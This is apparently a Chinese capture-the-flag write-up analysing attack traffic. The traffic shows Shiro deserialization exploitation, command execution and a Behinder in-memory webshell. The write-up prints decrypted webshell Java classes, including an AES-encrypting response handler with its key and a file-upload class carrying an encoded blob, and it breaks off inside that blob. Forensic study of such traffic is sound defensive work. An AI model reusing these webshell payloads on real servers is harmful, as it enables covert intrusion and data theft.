2026复现文档
路虽远,行则将至;事虽难,做则必成
软件系统安全赛-初赛
traffic_hunt
题目提示传输的文件,先过滤一下http post有没有信息:

结果发现大部分post路径都在favicondemo.ico,很经典的冰蝎webshell流量特征,
查看第一个post:

发现rememberme值,可以确定这里有shiro反序列化的利用,
从有回显的内容开始看:

可以发现是命令执行,命令在Authorization字段base64,回显是$$$包裹的base64
解密:


当前路径在根目录。
接着扫描了目录:


根目录内容:
total 21844drwxr-xr-x 1 root root 4096 Jan 6 03:43 .drwxr-xr-x 1 root root 4096 Jan 6 03:43 ..-rwxr-xr-x 1 root root 0 Jan 6 03:43 .dockerenvdrwxr-xr-x 1 root root 4096 Oct 21 2016 bindrwxr-xr-x 2 root root 4096 Sep 12 2016 bootdrwxr-xr-x 5 root root 340 Jan 6 03:43 devdrwxr-xr-x 1 root root 4096 Jan 6 03:43 etcdrwxr-xr-x 2 root root 4096 Sep 12 2016 homedrwxr-xr-x 1 root root 4096 Oct 31 2016 libdrwxr-xr-x 2 root root 4096 Oct 20 2016 lib64drwxr-xr-x 2 root root 4096 Oct 20 2016 mediadrwxr-xr-x 2 root root 4096 Oct 20 2016 mntdrwxr-xr-x 2 root root 4096 Oct 20 2016 optdr-xr-xr-x 167 root root 0 Jan 6 03:43 procdrwx------ 2 root root 4096 Oct 20 2016 rootdrwxr-xr-x 3 root root 4096 Oct 20 2016 rundrwxr-xr-x 2 root root 4096 Oct 20 2016 sbin-rw-r--r-- 1 root root 22290368 Dec 19 2019 shirodemo-1.0-SNAPSHOT.jardrwxr-xr-x 2 root root 4096 Oct 20 2016 srvdr-xr-xr-x 13 root root 0 Jan 6 03:43 sysdrwxrwxrwt 1 root root 4096 Jan 6 03:43 tmpdrwxr-xr-x 1 root root 4096 Oct 31 2016 usrdrwxr-xr-x 1 root root 4096 Oct 31 2016 var这里可以看到**shirodemo-1.0-SNAPSHOT.jar**: 这就是漏洞所在的 Java 应用程序
之后执行了w命令:

最后一个post,只有user参数,是一段非常长的 Base64 编码数据,
解码:

可以发现是一个class文件
提取出来:

分析,可以知道,这就是上传的冰蝎内存马,
同时在请求里还可以得到密钥和路径:

即webshell流量通过/favicondemo.ico传入,密码是HWmc2TLDoihdlr0N
而冰蝎的连接密码一般是密钥的哈希值前16位,即: 1f2c8075acd3d118
接下来解密/favicondemo.ico的post数据:


响应是典型的分块传输格式。数据体中的180是十六进制,表示接下来的数据块长度为384字节

分析请求解密后的代码:
package net.qmrqiui;
import java.lang.reflect.Method;import java.util.Iterator;import java.util.LinkedHashMap;import java.util.Map;import java.util.Random;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;
public class Fmdrfajtrr { public static String content; public static String payloadBody; private Object Request; private Object Response; private Object Session;
public Fmdrfajtrr() { content = ""; content = content + "1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v"; super(); }
public boolean equals(Object obj) { LinkedHashMap result = new LinkedHashMap(); boolean var13 = false;
Object so; Method write; label77: { try { var13 = true; this.fillContext(obj); result.put("status", "success"); result.put("msg", content); var13 = false; break label77; } catch (Exception var17) { result.put("msg", var17.getMessage()); result.put("status", "success"); var13 = false; } finally { if (var13) { try { Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var14) { var14.printStackTrace(); }
} }
try { so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var15) { var15.printStackTrace(); }
return true; }
try { so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var16) { var16.printStackTrace(); }
return true; }
private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); String version = System.getProperty("java.version"); sb.append("{"); Iterator var5 = entity.keySet().iterator();
while(var5.hasNext()) { String key = (String)var5.next(); sb.append("\"" + key + "\":\""); String value = (String)entity.get(key); if (encode) { value = this.base64encode(value.getBytes()); }
sb.append(value); sb.append("\","); }
if (sb.toString().endsWith(",")) { sb.setLength(sb.length() - 1); }
sb.append("}"); return sb.toString(); }
private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest").invoke(obj); this.Response = obj.getClass().getMethod("getResponse").invoke(obj); this.Session = obj.getClass().getMethod("getSession").invoke(obj); } else { Map<String, Object> objMap = (Map)obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); }
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); }
private String base64encode(byte[] data) throws Exception { String result = ""; String var4 = System.getProperty("java.version");
Class Base64; try { this.getClass(); Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null); result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable var7) { this.getClass(); Base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = Base64.newInstance(); result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data); result = result.replace("\n", "").replace("\r", ""); }
return result; }
private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum];
for(int i = 0; i < buf.length; ++i) { buf[i] = (byte)random.nextInt(256); }
return buf; }
private byte[] Encrypt(byte[] var1) throws Exception { String var2 = "1f2c8075acd3d118"; byte[] var3 = var2.getBytes("utf-8"); SecretKeySpec var4 = new SecretKeySpec(var3, "AES"); Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding"); var5.init(1, var4); byte[] var6 = var5.doFinal(var1);
Class var7; try { var7 = Class.forName("java.util.Base64"); Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null); var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6); } catch (Throwable var12) { var7 = Class.forName("sun.misc.BASE64Encoder"); Object var10 = var7.newInstance(); String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6); var11 = var11.replace("\n", "").replace("\r", ""); var6 = var11.getBytes(); }
return var6; }}可以发现构造函数里把 content 赋值为一段固定字符串
在 equals() 方法中:
result.put("status", "success");result.put("msg", content);所以 msg 就是 content 的值。
解密响应:

得到msg:
1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v因此后续只需要分析响应即可。

第二个响应,输出的系统信息,base64编码。

下面继续是信息收集



在这里发现了ps -ef命令的输出。
可以看到执行了命令:
java -jar /shirodemo-1.0-SNAPSHOT.jar
/bin/sh -c cd / ;ps -ef

解密后:
[ {"size":"4096","perm":"rwxr-xr-x","name":".","lastModified":"2026/01/06 03:43:19","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"..","lastModified":"2026/01/06 03:43:19","type":"directory"}, {"size":"340","perm":"rwxr-xr-x","name":"dev","lastModified":"2026/01/06 03:43:19","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"home","lastModified":"2016/09/12 04:09:59","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"usr","lastModified":"2016/10/31 21:55:17","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"media","lastModified":"2016/10/20 20:17:26","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"lib64","lastModified":"2016/10/20 20:17:48","type":"directory"}, {"size":"4096","perm":"rwxrwxrwx","name":"tmp","lastModified":"2026/01/06 03:43:23","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"mnt","lastModified":"2016/10/20 20:17:26","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"run","lastModified":"2016/10/20 20:17:26","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"sbin","lastModified":"2016/10/20 20:18:37","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"lib","lastModified":"2016/10/31 21:55:16","type":"directory"}, {"size":"4096","perm":"rwx------","name":"root","lastModified":"2016/10/20 20:17:26","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"srv","lastModified":"2016/10/20 20:17:26","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"boot","lastModified":"2016/09/12 04:09:59","type":"directory"}, {"size":"0","perm":"r-xr-xr-x","name":"proc","lastModified":"2026/01/06 03:43:19","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"etc","lastModified":"2026/01/06 03:43:19","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"var","lastModified":"2016/10/31 21:55:13","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"bin","lastModified":"2016/10/21 20:10:24","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"opt","lastModified":"2016/10/20 20:17:26","type":"directory"}, {"size":"0","perm":"r-xr-xr-x","name":"sys","lastModified":"2026/01/06 03:43:19","type":"directory"}, {"size":"0","perm":"rwxr-xr-x","name":".dockerenv","lastModified":"2026/01/06 03:43:19","type":"file"}, {"size":"22290368","perm":"rw-r--r--","name":"shirodemo-1.0-SNAPSHOT.jar","lastModified":"2019/12/19 19:20:14","type":"file"}]攻击者应该执行了类似ls -la /的命令

[ {"size":"4096","perm":"rwxr-xr-x","name":".","lastModified":"2026/01/06 03:43:19","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"..","lastModified":"2026/01/06 03:43:19","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"tomcat.2371687671290980390.8080","lastModified":"2026/01/06 03:43:23","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"hsperfdata_root","lastModified":"2026/01/06 03:43:19","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"tomcat-docbase.8306629792413863933.8080","lastModified":"2026/01/06 03:43:23","type":"directory"}]接下来黑客通过冰蝎的文件管理功能,在查看 /tmp 目录(临时目录)下的内容
接着是查看/var的内容

[ {"size":"4096","perm":"rwxr-xr-x","name":".","lastModified":"2026/01/06 03:43:19","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"..","lastModified":"2026/01/06 03:43:19","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"log","lastModified":"2016/10/31 21:55:18","type":"directory"}, {"size":"4096","perm":"rwxrwxrwx","name":"tmp","lastModified":"2016/09/12 04:09:59","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"run","lastModified":"2016/10/20 20:17:26","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"cache","lastModified":"2016/10/31 21:55:19","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"lib","lastModified":"2016/10/31 21:55:16","type":"directory"}, {"size":"4096","perm":"rwxrwxr-x","name":"local","lastModified":"2016/09/12 04:09:59","type":"directory"}, {"size":"4096","perm":"rwxrwxrwx","name":"lock","lastModified":"2016/10/20 20:17:26","type":"directory"}, {"size":"4096","perm":"rwxrwxr-x","name":"mail","lastModified":"2016/10/20 20:17:26","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"backups","lastModified":"2016/09/12 04:09:59","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"spool","lastModified":"2016/10/20 20:17:26","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"opt","lastModified":"2016/10/20 20:17:26","type":"directory"}]查看 /var/tmp 目录:

[ {"size":"4096","perm":"rwxr-xr-x","name":".","lastModified":"2026/01/06 03:43:19","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"..","lastModified":"2026/01/06 03:43:19","type":"directory"}]接下来的响应只返回了ok,我们再分析请求内容

很长的一串请求
分析内容,可以发现进行了文件上传操作:
package sun.yxiw;
import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.lang.reflect.Method;import java.nio.ByteBuffer;import java.nio.channels.FileChannel;import java.nio.charset.Charset;import java.nio.file.LinkOption;import java.nio.file.Path;import java.security.MessageDigest;import java.text.DateFormat;import java.text.SimpleDateFormat;import java.util.ArrayList;import java.util.Date;import java.util.HashMap;import java.util.Iterator;import java.util.List;import java.util.Map;import java.util.Random;import java.util.Set;import java.util.zip.ZipEntry;import java.util.zip.ZipOutputStream;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;
public class Auydc { public static String mode; public static String path; public static String newPath; public static String content; public static String charset; public static String hash; public static String blockIndex; public static String blockSize; public static String createTimeStamp; public static String modifyTimeStamp; public static String accessTimeStamp; private Object Request; private Object Response; private Object Session; private Charset osCharset;
public Auydc() { mode = ""; mode = mode + "update"; path = ""; path = path + "/var/tmp/out"; blockIndex = ""; blockIndex = blockIndex + "2"; blockSize = ""; blockSize = blockSize + "30720"; content = ""; content = content + "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